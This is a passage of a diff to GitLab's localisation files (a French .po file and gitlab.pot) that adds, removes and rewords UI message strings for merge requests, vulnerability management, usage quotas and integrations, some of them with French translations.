@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr "Cette date est postérieure à la date d’échéance, cette épopée n’apparaîtra donc pas dans la feuille de route."
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr "Cette date est antérieure à la date de début, cette épopée n’apparaîtra donc pas dans la feuille de route."
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr "Cette demande de fusion est verrouillée."
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr "Ce projet n’a pas encore de page d’accueil de wiki"
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr "Pour configurer l’authentification SAML pour votre groupe via un fournisseur d’identité tel qu’Azure, Okta, Onelogin, Ping Identity ou votre fournisseur SAML 2.0 personnalisé :"
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr "Demain"
msgid "Too many changes to show."
msgstr "Trop de changements à afficher."
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr "Suivre le temps estimé/passé avec les actions rapides"
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr "Impossible de charger le diff. %{button_try_again}"
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr "Mise à jour en cours"
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr "Cliquez pour envoyer"
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr "Votes positifs"
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr "Vérifié"
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr "Lorsqu’un exécuteur est verrouillé, il ne peut pas être affecté à d’autres projets"
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr "Lorsque vous laissez l’URL vide, des étiquettes de classification peu
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,14 +39844,11 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr "Vous ne pouvez modifier des fichiers que dans une branche"
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
-msgstr ""
+msgid "You can only edit files when you are on a branch"
+msgstr "Vous ne pouvez modifier des fichiers que dans une branche"
msgid "You can only transfer the project to namespaces you manage."
msgstr ""
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr "Vous n’avez souscrit à aucun abonnement pour le moment"
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr "Vous ne recevrez de notifications que pour les commentaires où vous êt
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr "Le test de sécurité d’applications dynamique (Dynamic Application Se
msgid "ciReport|Failed to load %{reportName} report"
msgstr "Impossible de charger le rapport %{reportName}"
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr "Corrigé :"
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr "Chargement du rapport %{reportName}"
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr "Gérer les licences"
@@ -40330,6 +40993,9 @@ msgstr "Analyse de sécurité"
msgid "ciReport|Security scanning failed loading any results"
msgstr "L’analyse de sécurité n’a pas réussi à charger de résultats"
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr "Solution"
@@ -40700,21 +41366,9 @@ msgstr "flux d’importation"
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr "verrouillé par %{path_lock_user_name} %{created_at}"
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr "Veuillez la restaurer ou utiliser une autre branche %{missingBranchName}"
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr "%{metricsLinkStart}L’usage mémoire%{metricsLinkEnd} %{emphasisStart}a
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr "%{metricsLinkStart}L’usage mémoire%{metricsLinkEnd} %{emphasisStart}est resté stable%{emphasisEnd} à %{memoryFrom}MO"
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr "Les statistiques de déploiement ne sont pas disponibles pour le moment"
@@ -41024,12 +41675,18 @@ msgstr "N’a pas résolu"
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr "Patchs par courriel"
msgid "mrWidget|Failed to load deployment statistics"
msgstr "Impossible de charger les statistiques de déploiement"
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr "Fusionner"
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "La fusion a échoué."
msgid "mrWidget|Merge locally"
msgstr "Fusionner localement"
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr "Fusionnée par"
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr "Demande de fusion de"
msgid "mrWidget|Resolve conflicts"
msgstr "Résoudre les conflits"
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr "Résolvez ces conflits ou demandez à une personne ayant un accès en écriture à ce dépôt d’effectuer la fusion localement"
-
msgid "mrWidget|Revert"
msgstr "Défaire"
@@ -41164,9 +41842,6 @@ msgstr "Les modifications ont été fusionnées dans"
msgid "mrWidget|The changes were not merged into"
msgstr "Les modifications n’ont pas été fusionnées dans"
-msgid "mrWidget|The changes will be merged into"
-msgstr "Les modifications seront fusionnées dans"
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,37 +41857,28 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
-msgstr ""
-
-msgid "mrWidget|There are merge conflicts"
-msgstr "Il y a des conflits de fusion"
-
msgid "mrWidget|This merge request failed to be merged automatically"
msgstr "Cette demande de fusion n’a pas pu être fusionnée automatiquement"
-msgid "mrWidget|This project is archived, write access has been disabled"
-msgstr "Ce projet est archivé, l’accès en écriture a été désactivé"
-
msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|What is a merge train?"
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
+msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|You can only merge once this merge request is approved."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
+msgstr ""
+
+msgid "mrWidget|What is a merge train?"
msgstr ""
msgid "mrWidget|Your password"
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr "source"
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/gitlab.pot b/locale/gitlab.pot
index 1e290fa6c62..376b87d8432 100644
--- a/locale/gitlab.pot
+++ b/locale/gitlab.pot
@@ -419,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -495,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -717,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -771,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -803,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -827,6 +838,9 @@ msgstr ""
msgid "%{placeholder} is not a valid theme"
